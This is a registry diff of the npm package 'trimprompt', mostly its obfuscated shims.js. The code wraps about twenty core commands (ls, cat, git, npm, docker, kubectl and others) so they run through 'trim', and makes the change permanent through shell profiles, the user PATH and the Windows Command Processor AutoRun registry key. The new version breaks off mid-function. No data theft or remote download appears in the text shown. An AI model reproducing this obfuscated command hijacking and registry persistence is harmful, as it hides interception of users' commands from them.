trimprompt 1.0.7 → 1.0.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +2 -0
- package/cache.js +1 -1
- package/cli.js +1 -1
- package/dashboard.js +1 -1
- package/dashboard.png +0 -0
- package/executor.js +1 -1
- package/filters/devops.js +1 -1
- package/filters/generic.js +1 -1
- package/filters/git.js +1 -1
- package/filters/go.js +1 -1
- package/filters/index.js +1 -1
- package/filters/js.js +1 -1
- package/filters/python.js +1 -1
- package/filters/rust.js +1 -1
- package/filters/shell.js +1 -1
- package/index.html +123 -38
- package/mcp.js +1 -1
- package/package.json +1 -1
- package/redactor.js +1 -1
- package/seed.js +1 -1
- package/shims.js +1 -1
- package/simulate.js +1 -1
- package/sync.js +1 -1
- package/tracker.js +1 -1
package/shims.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const a0_0x36ea5d=a0_0x1919;(function(_0x47dd51,_0x6928af){const _0x2e0eb7=a0_0x1919,_0x24f121=_0x47dd51();while(!![]){try{const _0x170e9e=-parseInt(_0x2e0eb7(0xae))/0x1*(parseInt(_0x2e0eb7(0xc5))/0x2)+parseInt(_0x2e0eb7(0x93))/0x3*(parseInt(_0x2e0eb7(0xac))/0x4)+-parseInt(_0x2e0eb7(0xe9))/0x5+-parseInt(_0x2e0eb7(0xc3))/0x6+parseInt(_0x2e0eb7(0xc2))/0x7+parseInt(_0x2e0eb7(0xd0))/0x8+-parseInt(_0x2e0eb7(0x9e))/0x9*(-parseInt(_0x2e0eb7(0xa8))/0xa);if(_0x170e9e===_0x6928af)break;else _0x24f121['push'](_0x24f121['shift']());}catch(_0x597435){_0x24f121['push'](_0x24f121['shift']());}}}(a0_0x1301,0xe5f4f));function a0_0x1919(_0x1f8375,_0x34402d){const _0x1301b7=a0_0x1301();return a0_0x1919=function(_0x19198b,_0xf14527){_0x19198b=_0x19198b-0x7d;let _0x154d22=_0x1301b7[_0x19198b];return _0x154d22;},a0_0x1919(_0x1f8375,_0x34402d);}var __createBinding=this&&this[a0_0x36ea5d(0xed)]||(Object[a0_0x36ea5d(0xdd)]?function(_0x55eddb,_0x10e279,_0x17a999,_0x59b177){const _0x776254=a0_0x36ea5d;if(_0x59b177===undefined)_0x59b177=_0x17a999;var _0x425604=Object[_0x776254(0x87)](_0x10e279,_0x17a999);(!_0x425604||('get'in _0x425604?!_0x10e279[_0x776254(0xd5)]:_0x425604[_0x776254(0x97)]||_0x425604[_0x776254(0xee)]))&&(_0x425604={'enumerable':!![],'get':function(){return _0x10e279[_0x17a999];}}),Object['defineProperty'](_0x55eddb,_0x59b177,_0x425604);}:function(_0x5f5a72,_0x171fd2,_0x37f74f,_0x1cbcee){if(_0x1cbcee===undefined)_0x1cbcee=_0x37f74f;_0x5f5a72[_0x1cbcee]=_0x171fd2[_0x37f74f];}),__setModuleDefault=this&&this[a0_0x36ea5d(0x81)]||(Object[a0_0x36ea5d(0xdd)]?function(_0x5af59c,_0x17c99e){const _0x287c64=a0_0x36ea5d;Object[_0x287c64(0x9a)](_0x5af59c,_0x287c64(0xa7),{'enumerable':!![],'value':_0x17c99e});}:function(_0x48c13f,_0x46ef4b){const _0x354776=a0_0x36ea5d;_0x48c13f[_0x354776(0xa7)]=_0x46ef4b;}),__importStar=this&&this['__importStar']||(function(){var _0x295e7f=function(_0x230259){const _0x4b198b=a0_0x1919;return _0x295e7f=Object[_0x4b198b(0x90)]||function(_0x46c7c2){const _0x3d06d0=_0x4b198b;var _0x403bb8=[];for(var _0x12a87c in _0x46c7c2)if(Object[_0x3d06d0(0xc0)]['hasOwnProperty'][_0x3d06d0(0x9b)](_0x46c7c2,_0x12a87c))_0x403bb8[_0x403bb8[_0x3d06d0(0x82)]]=_0x12a87c;return _0x403bb8;},_0x295e7f(_0x230259);};return function(_0xc499ce){const _0x149bd3=a0_0x1919;if(_0xc499ce&&_0xc499ce[_0x149bd3(0xd5)])return _0xc499ce;var _0x40b375={};if(_0xc499ce!=null){for(var _0x5a6c9c=_0x295e7f(_0xc499ce),_0x412332=0x0;_0x412332<_0x5a6c9c['length'];_0x412332++)if(_0x5a6c9c[_0x412332]!==_0x149bd3(0xa7))__createBinding(_0x40b375,_0xc499ce,_0x5a6c9c[_0x412332]);}return __setModuleDefault(_0x40b375,_0xc499ce),_0x40b375;};}());Object[a0_0x36ea5d(0x9a)](exports,a0_0x36ea5d(0xd5),{'value':!![]}),exports[a0_0x36ea5d(0x7d)]=installShims,exports[a0_0x36ea5d(0xdc)]=uninstallShims;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x36ea5d(0xe4))),os=__importStar(require('os')),SHIMMED_COMMANDS=['ls',a0_0x36ea5d(0xbe),'cat',a0_0x36ea5d(0xab),a0_0x36ea5d(0xba),'rg',a0_0x36ea5d(0xe1),a0_0x36ea5d(0x7e),'gh',a0_0x36ea5d(0xe6),'cargo',a0_0x36ea5d(0xa0),'pnpm',a0_0x36ea5d(0xa2),a0_0x36ea5d(0xd3),'kubectl',a0_0x36ea5d(0x8a),'pytest',a0_0x36ea5d(0xd4),a0_0x36ea5d(0xe0),'go'],PROFILE_MARKER=a0_0x36ea5d(0xd9);function getExecSync(){const _0xa9e6b4=a0_0x36ea5d;return require(_0xa9e6b4(0xb6))['execSync'];}function getExecFileSync(){const _0x5924b4=a0_0x36ea5d;return require(_0x5924b4(0xb6))[_0x5924b4(0x7f)];}function a0_0x1301(){const _0x5712e6=['homedir','platform','utf8','__createBinding','configurable','&\x20trim\x20','if\x20exist\x20\x22','Failed\x20to\x20uninstall\x20shims:\x20','trim','-NoProfile','.bash_profile','installShims','git','execFileSync','includes','__setModuleDefault','length','dirname','\x27\x20-Name\x20AutoRun\x20-Value\x20\x27','$PROFILE.CurrentUserCurrentHost','push','getOwnPropertyDescriptor','pipe','Failed\x20to\x20install\x20shims:\x20','docker','\x0aexport\x20PATH=\x22',';%PATH%\x22','\x20-NoProfile\x20-Command\x20\x22','win32','.profile','getOwnPropertyNames','\x0a$env:PATH\x20=\x20\x22','powershell\x20-NoProfile\x20-Command\x20\x22','12JsXNze','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}','Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22',';\x22\x20+\x20$env:PATH\x0a','writable','mkdirSync','appendFileSync','defineProperty','call','.zshrc','toLowerCase','18TkHzeH','.cmd','npm','$PROFILE.CurrentUserAllHosts','npx','@echo\x20off\x0atrim\x20','powershell.exe','TrimPrompt\x20shims\x20successfully\x20installed\x20for\x20','\x20%*\x0a','default','2528930TAOnCY','existsSync','APPDATA','read','938228KujcUr','\x27,\x20\x27User\x27)','729wZPXtS','pwsh','[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27','#!/bin/sh\x0aexec\x20trim\x20','trim.ps1','\x20\x22$@\x22\x0a','export\x20PATH=\x22','\x20commands.\x0a\x0a','child_process','ignore','HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor','filter','grep','readdirSync','-Command','try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27','tree','.bashrc','prototype','join','6135556yfVxAy','10401324zegOLt','[SUCCESS]\x20Your\x20system\x20PATH\x20has\x20been\x20automatically\x20and\x20permanently\x20updated\x20to\x20run\x20TrimPrompt\x20in\x20the\x20background.\x0aThis\x20setup\x20persists\x20across\x20system\x20restarts.\x0a\x0a*Note*:\x20Please\x20restart\x20your\x20active\x20terminal\x20window\x20or\x20AI\x20assistant\x20(e.g.\x20Claude\x20Code/Cursor)\x20for\x20the\x20environment\x20changes\x20to\x20take\x20effect.','464PKmnVO','Set-ItemProperty\x20-Path\x20\x27','755',':$PATH\x22','.ps1','readFileSync','TrimPrompt\x20shims\x20fully\x20uninstalled.\x20All\x20PATH\x20modifications,\x20shell\x20profiles,\x20and\x20registry\x20entries\x20have\x20been\x20cleaned\x20up.','.trimprompt','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20SilentlyContinue','some','replace','12297408zoEPzZ','unlinkSync','\x20@args\x0a','yarn','pip','__esModule','\x0a#\x20','Remove-ItemProperty\x20-Path\x20\x27','[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20','TrimPrompt\x20Shims\x20PATH',':$PATH\x22\x0a','env','uninstallShims','create','powershell','split','pip3','ruff','[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)','\x20&\x20','path','shims','glab','rmdirSync','writeFileSync','5065565jHrqGL'];a0_0x1301=function(){return _0x5712e6;};return a0_0x1301();}function ensureProfileContains(_0x3441f5,_0x203b59,_0x214b05){const _0x200e01=a0_0x36ea5d;try{const _0x575490=path[_0x200e01(0x83)](_0x3441f5);!fs['existsSync'](_0x575490)&&fs[_0x200e01(0x98)](_0x575490,{'recursive':!![]});if(fs[_0x200e01(0xa9)](_0x3441f5)){const _0x281c47=fs[_0x200e01(0xca)](_0x3441f5,_0x200e01(0xec));if(_0x281c47['includes'](_0x203b59))return;fs[_0x200e01(0x99)](_0x3441f5,_0x214b05,_0x200e01(0xec));}else fs[_0x200e01(0xe8)](_0x3441f5,_0x214b05,_0x200e01(0xec));}catch{}}function removeProfileBlock(_0x2e96e4,_0x7af880){const _0x25503c=a0_0x36ea5d;try{if(!fs[_0x25503c(0xa9)](_0x2e96e4))return;const _0x5e5ca0=fs['readFileSync'](_0x2e96e4,_0x25503c(0xec));if(!_0x5e5ca0[_0x25503c(0x80)](_0x7af880))return;const _0x5310b9=_0x5e5ca0[_0x25503c(0xdf)]('\x0a'),_0x552e17=[];let _0x4e50d8=![];for(let _0x3efc96=0x0;_0x3efc96<_0x5310b9[_0x25503c(0x82)];_0x3efc96++){if(_0x5310b9[_0x3efc96][_0x25503c(0x80)](_0x7af880)){_0x4e50d8=!![];continue;}if(_0x4e50d8){_0x4e50d8=![];continue;}_0x552e17[_0x25503c(0x86)](_0x5310b9[_0x3efc96]);}const _0x1f7554=_0x552e17[_0x25503c(0xc1)]('\x0a')[_0x25503c(0xcf)](/\n{3,}/g,'\x0a\x0a');fs[_0x25503c(0xe8)](_0x2e96e4,_0x1f7554,_0x25503c(0xec));}catch{}}function collectPowerShellProfiles(){const _0x3f6fa8=a0_0x36ea5d,_0xddabc7=getExecSync(),_0x2e67f1=[],_0x4a11ca=[[_0x3f6fa8(0xde),_0x3f6fa8(0x85)],[_0x3f6fa8(0xde),_0x3f6fa8(0xa1)]];try{_0xddabc7('pwsh\x20-NoProfile\x20-Command\x20\x22exit\x200\x22',{'stdio':_0x3f6fa8(0xb7)}),_0x4a11ca[_0x3f6fa8(0x86)]([_0x3f6fa8(0xaf),_0x3f6fa8(0xa1)]);}catch{}for(const [_0x18c17b,_0x5517a5]of _0x4a11ca){try{const _0x12ee79=_0xddabc7(_0x18c17b+_0x3f6fa8(0x8d)+_0x5517a5+'\x22',{'encoding':'utf8'})[_0x3f6fa8(0xf2)]();_0x12ee79&&!_0x2e67f1[_0x3f6fa8(0xce)](_0x5d2661=>_0x5d2661['toLowerCase']()===_0x12ee79[_0x3f6fa8(0x9d)]())&&_0x2e67f1[_0x3f6fa8(0x86)](_0x12ee79);}catch{}}return _0x2e67f1;}function getBashProfilesWindows(){const _0x19a43c=a0_0x36ea5d,_0x99a6b=os[_0x19a43c(0xea)]();return[_0x19a43c(0xbf),'.bash_profile']['map'](_0x4c026f=>path[_0x19a43c(0xc1)](_0x99a6b,_0x4c026f));}function getBroadcastCommand(){return'$sig\x20=\x20\x27[DllImport(\x5c\x22user32.dll\x5c\x22,\x20SetLastError\x20=\x20true,\x20CharSet\x20=\x20CharSet.Auto)]\x20public\x20static\x20extern\x20IntPtr\x20SendMessageTimeout(IntPtr\x20hWnd,\x20uint\x20Msg,\x20IntPtr\x20wParam,\x20string\x20lParam,\x20uint\x20fuFlags,\x20uint\x20uTimeout,\x20out\x20IntPtr\x20lpdwResult);\x27;\x20Add-Type\x20-MemberDefinition\x20$sig\x20-Name\x20\x5c\x22Win32\x5c\x22\x20-Namespace\x20\x5c\x22Win32\x5c\x22\x20-PassThru\x20>\x20$null;\x20[IntPtr]$res\x20=\x200;\x20[void][Win32.Win32]::SendMessageTimeout([IntPtr]0xffff,\x200x001A,\x20[IntPtr]::Zero,\x20\x5c\x22Environment\x5c\x22,\x202,\x201000,\x20[ref]$res);';}function installShims(){const _0x5e5f80=a0_0x36ea5d,_0x213fa1=path[_0x5e5f80(0xc1)](os[_0x5e5f80(0xea)](),_0x5e5f80(0xcc),_0x5e5f80(0xe5));try{!fs[_0x5e5f80(0xa9)](_0x213fa1)&&fs[_0x5e5f80(0x98)](_0x213fa1,{'recursive':!![]});const _0x3524bb=os['platform']()===_0x5e5f80(0x8e);for(const _0x39f88e of SHIMMED_COMMANDS){if(_0x3524bb){const _0x335ead=path[_0x5e5f80(0xc1)](_0x213fa1,_0x39f88e+_0x5e5f80(0x9f));fs[_0x5e5f80(0xe8)](_0x335ead,_0x5e5f80(0xa3)+_0x39f88e+_0x5e5f80(0xa6),_0x5e5f80(0xec));const _0x4a2a53=path[_0x5e5f80(0xc1)](_0x213fa1,_0x39f88e+_0x5e5f80(0xc9));fs[_0x5e5f80(0xe8)](_0x4a2a53,_0x5e5f80(0xef)+_0x39f88e+_0x5e5f80(0xd2),'utf8');const _0x44427c=path[_0x5e5f80(0xc1)](_0x213fa1,_0x39f88e);fs[_0x5e5f80(0xe8)](_0x44427c,_0x5e5f80(0xb1)+_0x39f88e+_0x5e5f80(0xb3),_0x5e5f80(0xec));}else{const _0x52147e=path[_0x5e5f80(0xc1)](_0x213fa1,_0x39f88e);fs['writeFileSync'](_0x52147e,_0x5e5f80(0xb1)+_0x39f88e+_0x5e5f80(0xb3),'utf8'),fs['chmodSync'](_0x52147e,_0x5e5f80(0xc7));}}let _0x256030=![],_0x14424f='';if(_0x3524bb)try{const _0x4ffb8f=getExecSync(),_0xfe6225=_0x5e5f80(0xd6)+PROFILE_MARKER+_0x5e5f80(0x91)+_0x213fa1+_0x5e5f80(0x96),_0x23a05e=collectPowerShellProfiles();for(const _0x47f7df of _0x23a05e){ensureProfileContains(_0x47f7df,_0x213fa1,_0xfe6225);}try{const _0x979cb7=getExecFileSync(),_0x42ab21=_0x5e5f80(0xf0)+_0x213fa1+'\x22\x20set\x20\x22PATH='+_0x213fa1+_0x5e5f80(0x8c),_0x5bbad5='HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor';let _0x2f6c18='';try{const _0x4d3270=_0x5e5f80(0xbd)+_0x5bbad5+_0x5e5f80(0x94);_0x2f6c18=_0x979cb7('powershell.exe',['-NoProfile',_0x5e5f80(0xbc),_0x4d3270],{'encoding':_0x5e5f80(0xec),'stdio':[_0x5e5f80(0x88),_0x5e5f80(0x88),_0x5e5f80(0xb7)]})[_0x5e5f80(0xf2)]();}catch{}if(!_0x2f6c18[_0x5e5f80(0x80)](_0x213fa1)){const _0x2b1756=_0x2f6c18?_0x2f6c18+_0x5e5f80(0xe3)+_0x42ab21:_0x42ab21,_0x1ed208='New-Item\x20-Path\x20\x27'+_0x5bbad5+'\x27\x20-Force\x20|\x20Out-Null;\x20Set-ItemProperty\x20-Path\x20\x27'+_0x5bbad5+_0x5e5f80(0x84)+_0x2b1756+'\x27';_0x979cb7(_0x5e5f80(0xa4),[_0x5e5f80(0xf3),'-Command',_0x1ed208],{'stdio':'ignore'});}}catch{}try{const _0x55a425=_0x213fa1[_0x5e5f80(0xcf)](/\\/g,'/')[_0x5e5f80(0xcf)](/^([A-Za-z]):/,(_0x30ef8e,_0x2bfa88)=>'/'+_0x2bfa88['toLowerCase']()),_0x58a674=_0x5e5f80(0xd6)+PROFILE_MARKER+_0x5e5f80(0x8b)+_0x55a425+':$PATH\x22\x0a',_0x6a758c=getBashProfilesWindows();let _0x17a0c4=![];for(const _0xcfc2bd of _0x6a758c){fs[_0x5e5f80(0xa9)](_0xcfc2bd)&&(ensureProfileContains(_0xcfc2bd,_0x55a425,_0x58a674),_0x17a0c4=!![]);}!_0x17a0c4&&ensureProfileContains(_0x6a758c[0x0],_0x55a425,_0x58a674);}catch{}const _0x4c305f=_0x5e5f80(0xe2),_0x592d69=_0x4ffb8f(_0x5e5f80(0x92)+_0x4c305f+'\x22',{'encoding':'utf8','stdio':[_0x5e5f80(0x88),_0x5e5f80(0x88),_0x5e5f80(0xb7)]})[_0x5e5f80(0xf2)]();if(!_0x592d69[_0x5e5f80(0x80)](_0x213fa1)){const _0x837591=_0x213fa1+';'+_0x592d69,_0x1eda84=_0x837591[_0x5e5f80(0xcf)](/'/g,'\x27\x27'),_0x1e9fe5=_0x5e5f80(0xb0)+_0x1eda84+_0x5e5f80(0xad);_0x4ffb8f(_0x5e5f80(0x92)+_0x1e9fe5+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x5e5f80(0xb7)});}const _0x22c8c7=path[_0x5e5f80(0xc1)](process[_0x5e5f80(0xdb)][_0x5e5f80(0xaa)]||'',_0x5e5f80(0xa0),_0x5e5f80(0xb2));if(fs[_0x5e5f80(0xa9)](_0x22c8c7))try{fs['unlinkSync'](_0x22c8c7);}catch{}_0x256030=!![];}catch(_0x3ca12c){_0x14424f='Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20'+_0x213fa1;}else try{const _0x153495=_0x5e5f80(0xb4)+_0x213fa1+_0x5e5f80(0xda),_0x3e4eba=os[_0x5e5f80(0xea)](),_0x2cf5f1=[_0x5e5f80(0xbf),'.zshrc','.bash_profile',_0x5e5f80(0x8f)];let _0x21a6c6=![];for(const _0x59a9da of _0x2cf5f1){const _0x26cf01=path['join'](_0x3e4eba,_0x59a9da);fs[_0x5e5f80(0xa9)](_0x26cf01)&&(ensureProfileContains(_0x26cf01,_0x213fa1,_0x5e5f80(0xd6)+PROFILE_MARKER+'\x0a'+_0x153495),_0x21a6c6=!![]);}if(!_0x21a6c6){const _0x42e68f=path[_0x5e5f80(0xc1)](_0x3e4eba,_0x5e5f80(0xbf));ensureProfileContains(_0x42e68f,_0x213fa1,_0x5e5f80(0xd6)+PROFILE_MARKER+'\x0a'+_0x153495);}_0x256030=!![];}catch(_0x83341){_0x14424f=_0x5e5f80(0x95)+_0x213fa1+_0x5e5f80(0xc8);}const _0x47a9ff=_0x5e5f80(0xa5)+SHIMMED_COMMANDS[_0x5e5f80(0x82)]+_0x5e5f80(0xb5),_0x1ad191=_0x256030?_0x47a9ff+_0x5e5f80(0xc4):_0x47a9ff+_0x5e5f80(0xd8)+_0x14424f;return{'success':!![],'pathDir':_0x213fa1,'message':_0x1ad191};}catch(_0x4d4fef){return{'success':![],'pathDir':_0x213fa1,'message':_0x5e5f80(0x89)+_0x4d4fef['message']};}}function uninstallShims(){const _0x320229=a0_0x36ea5d,_0x1b107c=path[_0x320229(0xc1)](os[_0x320229(0xea)](),_0x320229(0xcc),_0x320229(0xe5)),_0x36f7a9=os[_0x320229(0xeb)]()===_0x320229(0x8e);try{if(_0x36f7a9){const _0x3ac627=getExecSync();try{const _0x23ca15=getExecFileSync(),_0x4e0028=_0x320229(0xb8),_0x25bfb5='try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27'+_0x4e0028+_0x320229(0x94),_0x424dd7=_0x23ca15('powershell.exe',[_0x320229(0xf3),'-Command',_0x25bfb5],{'encoding':_0x320229(0xec),'stdio':[_0x320229(0x88),'pipe','ignore']})[_0x320229(0xf2)]();if(_0x424dd7[_0x320229(0x80)](_0x1b107c)){const _0x25a7e0=_0x424dd7[_0x320229(0xdf)](_0x320229(0xe3))[_0x320229(0xb9)](_0x31c6c1=>!_0x31c6c1['includes'](_0x1b107c));if(_0x25a7e0[_0x320229(0x82)]===0x0){const _0x16f15b=_0x320229(0xd7)+_0x4e0028+_0x320229(0xcd);_0x23ca15('powershell.exe',[_0x320229(0xf3),_0x320229(0xbc),_0x16f15b],{'stdio':_0x320229(0xb7)});}else{const _0x162673=_0x25a7e0[_0x320229(0xc1)](_0x320229(0xe3)),_0x58cc16=_0x320229(0xc6)+_0x4e0028+'\x27\x20-Name\x20AutoRun\x20-Value\x20\x27'+_0x162673+'\x27';_0x23ca15(_0x320229(0xa4),[_0x320229(0xf3),_0x320229(0xbc),_0x58cc16],{'stdio':_0x320229(0xb7)});}}}catch{}try{const _0x18160b=collectPowerShellProfiles();for(const _0x4f2bc7 of _0x18160b){removeProfileBlock(_0x4f2bc7,PROFILE_MARKER);}}catch{}try{for(const _0x154d27 of getBashProfilesWindows()){removeProfileBlock(_0x154d27,PROFILE_MARKER);}}catch{}try{const _0x1a2298=_0x320229(0xe2),_0x1b4b7d=_0x3ac627('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x1a2298+'\x22',{'encoding':_0x320229(0xec),'stdio':[_0x320229(0x88),_0x320229(0x88),'ignore']})[_0x320229(0xf2)]();if(_0x1b4b7d[_0x320229(0x80)](_0x1b107c)){const _0x25327c=_0x1b4b7d[_0x320229(0xdf)](';')[_0x320229(0xb9)](_0x1adaa1=>_0x1adaa1['trim']()[_0x320229(0x9d)]()!==_0x1b107c['toLowerCase']())['join'](';'),_0x41289c=_0x25327c['replace'](/'/g,'\x27\x27'),_0x10a24b=_0x320229(0xb0)+_0x41289c+_0x320229(0xad);_0x3ac627('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x10a24b+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x320229(0xb7)});}}catch{}}else{const _0x4a56a1=os[_0x320229(0xea)](),_0x209f2a=[_0x320229(0xbf),_0x320229(0x9c),_0x320229(0xf4),_0x320229(0x8f)];for(const _0x863209 of _0x209f2a){removeProfileBlock(path[_0x320229(0xc1)](_0x4a56a1,_0x863209),PROFILE_MARKER);}}if(fs['existsSync'](_0x1b107c)){const _0x1f22d1=fs[_0x320229(0xbb)](_0x1b107c);for(const _0x11dca7 of _0x1f22d1){fs[_0x320229(0xd1)](path[_0x320229(0xc1)](_0x1b107c,_0x11dca7));}fs[_0x320229(0xe7)](_0x1b107c);}return{'success':!![],'message':_0x320229(0xcb)};}catch(_0x596607){return{'success':![],'message':_0x320229(0xf1)+_0x596607['message']};}}
|
|
1
|
+
'use strict';const a0_0x4fa91a=a0_0x5cf8;(function(_0x101bb3,_0x213509){const _0x6409ad=a0_0x5cf8,_0x1b8b7c=_0x101bb3();while(!![]){try{const _0x44dde3=parseInt(_0x6409ad(0x12f))/0x1*(parseInt(_0x6409ad(0xfa))/0x2)+-parseInt(_0x6409ad(0xd7))/0x3*(-parseInt(_0x6409ad(0xce))/0x4)+parseInt(_0x6409ad(0xe9))/0x5+-parseInt(_0x6409ad(0xfe))/0x6+parseInt(_0x6409ad(0x100))/0x7+parseInt(_0x6409ad(0xf5))/0x8+-parseInt(_0x6409ad(0xd3))/0x9*(parseInt(_0x6409ad(0xf0))/0xa);if(_0x44dde3===_0x213509)break;else _0x1b8b7c['push'](_0x1b8b7c['shift']());}catch(_0x1e9e59){_0x1b8b7c['push'](_0x1b8b7c['shift']());}}}(a0_0x1de8,0x24039));var __createBinding=this&&this[a0_0x4fa91a(0xf8)]||(Object[a0_0x4fa91a(0x11a)]?function(_0x58d199,_0x5c27e2,_0x2a0d19,_0x46627a){const _0x3ec59b=a0_0x4fa91a;if(_0x46627a===undefined)_0x46627a=_0x2a0d19;var _0x26d782=Object[_0x3ec59b(0x122)](_0x5c27e2,_0x2a0d19);(!_0x26d782||(_0x3ec59b(0xd1)in _0x26d782?!_0x5c27e2[_0x3ec59b(0xec)]:_0x26d782[_0x3ec59b(0xe3)]||_0x26d782[_0x3ec59b(0x12d)]))&&(_0x26d782={'enumerable':!![],'get':function(){return _0x5c27e2[_0x2a0d19];}}),Object[_0x3ec59b(0xc3)](_0x58d199,_0x46627a,_0x26d782);}:function(_0x598920,_0x250104,_0x2bada3,_0x39f544){if(_0x39f544===undefined)_0x39f544=_0x2bada3;_0x598920[_0x39f544]=_0x250104[_0x2bada3];}),__setModuleDefault=this&&this[a0_0x4fa91a(0x10e)]||(Object['create']?function(_0x292353,_0x4dfba9){const _0x29682b=a0_0x4fa91a;Object[_0x29682b(0xc3)](_0x292353,'default',{'enumerable':!![],'value':_0x4dfba9});}:function(_0x4d8e01,_0x2d00d1){const _0x417bf3=a0_0x4fa91a;_0x4d8e01[_0x417bf3(0x102)]=_0x2d00d1;}),__importStar=this&&this[a0_0x4fa91a(0xf3)]||(function(){var _0x9596b3=function(_0xd381ad){const _0x2bf15d=a0_0x5cf8;return _0x9596b3=Object[_0x2bf15d(0xd8)]||function(_0x1b8b15){const _0x3977e2=_0x2bf15d;var _0x4e1863=[];for(var _0x54aafb in _0x1b8b15)if(Object['prototype'][_0x3977e2(0x119)][_0x3977e2(0xfd)](_0x1b8b15,_0x54aafb))_0x4e1863[_0x4e1863['length']]=_0x54aafb;return _0x4e1863;},_0x9596b3(_0xd381ad);};return function(_0x18aca8){const _0x1fa92a=a0_0x5cf8;if(_0x18aca8&&_0x18aca8[_0x1fa92a(0xec)])return _0x18aca8;var _0x36e18a={};if(_0x18aca8!=null){for(var _0x1b73fa=_0x9596b3(_0x18aca8),_0x5d3c0a=0x0;_0x5d3c0a<_0x1b73fa[_0x1fa92a(0x103)];_0x5d3c0a++)if(_0x1b73fa[_0x5d3c0a]!==_0x1fa92a(0x102))__createBinding(_0x36e18a,_0x18aca8,_0x1b73fa[_0x5d3c0a]);}return __setModuleDefault(_0x36e18a,_0x18aca8),_0x36e18a;};}());Object[a0_0x4fa91a(0xc3)](exports,a0_0x4fa91a(0xec),{'value':!![]}),exports[a0_0x4fa91a(0x10b)]=installShims,exports[a0_0x4fa91a(0x10f)]=uninstallShims;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x4fa91a(0xd5))),os=__importStar(require('os')),SHIMMED_COMMANDS=['ls',a0_0x4fa91a(0xf4),a0_0x4fa91a(0xef),a0_0x4fa91a(0xdb),a0_0x4fa91a(0xe2),'rg',a0_0x4fa91a(0x132),a0_0x4fa91a(0x11e),'gh',a0_0x4fa91a(0x114),'cargo',a0_0x4fa91a(0x117),a0_0x4fa91a(0xe4),a0_0x4fa91a(0xfb),a0_0x4fa91a(0xcf),a0_0x4fa91a(0xc1),a0_0x4fa91a(0x133),'pytest',a0_0x4fa91a(0xc6),a0_0x4fa91a(0x10d),'go'],PROFILE_MARKER=a0_0x4fa91a(0xff);function getExecSync(){const _0x12d1db=a0_0x4fa91a;return require('child_process')[_0x12d1db(0x105)];}function getExecFileSync(){const _0x53592b=a0_0x4fa91a;return require(_0x53592b(0xd2))['execFileSync'];}function ensureProfileContains(_0x2ab07b,_0x461bd4,_0x547716){const _0x286c4f=a0_0x4fa91a;try{const _0xcd1b3d=path[_0x286c4f(0x12a)](_0x2ab07b);!fs[_0x286c4f(0xe8)](_0xcd1b3d)&&fs[_0x286c4f(0x125)](_0xcd1b3d,{'recursive':!![]});if(fs[_0x286c4f(0xe8)](_0x2ab07b)){const _0x298e1f=fs[_0x286c4f(0x120)](_0x2ab07b,_0x286c4f(0x12b));if(_0x298e1f[_0x286c4f(0xc8)](_0x461bd4))return;fs[_0x286c4f(0x112)](_0x2ab07b,_0x547716,_0x286c4f(0x12b));}else fs[_0x286c4f(0x107)](_0x2ab07b,_0x547716,_0x286c4f(0x12b));}catch{}}function removeProfileBlock(_0x166da5,_0x576188){const _0x5eedf0=a0_0x4fa91a;try{if(!fs['existsSync'](_0x166da5))return;const _0x3e6413=fs[_0x5eedf0(0x120)](_0x166da5,'utf8');if(!_0x3e6413[_0x5eedf0(0xc8)](_0x576188))return;const _0x1934f6=_0x3e6413[_0x5eedf0(0xed)]('\x0a'),_0x16e739=[];let _0x1f179d=![];for(let _0x23f861=0x0;_0x23f861<_0x1934f6[_0x5eedf0(0x103)];_0x23f861++){if(_0x1934f6[_0x23f861][_0x5eedf0(0xc8)](_0x576188)){_0x1f179d=!![];continue;}if(_0x1f179d){_0x1f179d=![];continue;}_0x16e739['push'](_0x1934f6[_0x23f861]);}const _0x20f78e=_0x16e739[_0x5eedf0(0x118)]('\x0a')[_0x5eedf0(0x116)](/\n{3,}/g,'\x0a\x0a');fs[_0x5eedf0(0x107)](_0x166da5,_0x20f78e,_0x5eedf0(0x12b));}catch{}}function collectPowerShellProfiles(){const _0x418da9=a0_0x4fa91a,_0x4cb0e5=getExecSync(),_0x2fb6c1=[],_0x32f731=[[_0x418da9(0xe5),_0x418da9(0xc9)],[_0x418da9(0xe5),_0x418da9(0x129)]];try{_0x4cb0e5('pwsh\x20-NoProfile\x20-Command\x20\x22exit\x200\x22',{'stdio':_0x418da9(0xcd)}),_0x32f731[_0x418da9(0x128)](['pwsh',_0x418da9(0x129)]);}catch{}for(const [_0x2ef6bf,_0x44b724]of _0x32f731){try{const _0x23107e=_0x4cb0e5(_0x2ef6bf+_0x418da9(0xe7)+_0x44b724+'\x22',{'encoding':_0x418da9(0x12b)})[_0x418da9(0xde)]();_0x23107e&&!_0x2fb6c1[_0x418da9(0x101)](_0x2eb407=>_0x2eb407[_0x418da9(0x11c)]()===_0x23107e[_0x418da9(0x11c)]())&&_0x2fb6c1[_0x418da9(0x128)](_0x23107e);}catch{}}return _0x2fb6c1;}function getBashProfilesWindows(){const _0x554ae0=a0_0x4fa91a,_0x541233=os[_0x554ae0(0x106)]();return[_0x554ae0(0xca),_0x554ae0(0xd4)][_0x554ae0(0xc2)](_0x3ffbe5=>path[_0x554ae0(0x118)](_0x541233,_0x3ffbe5));}function 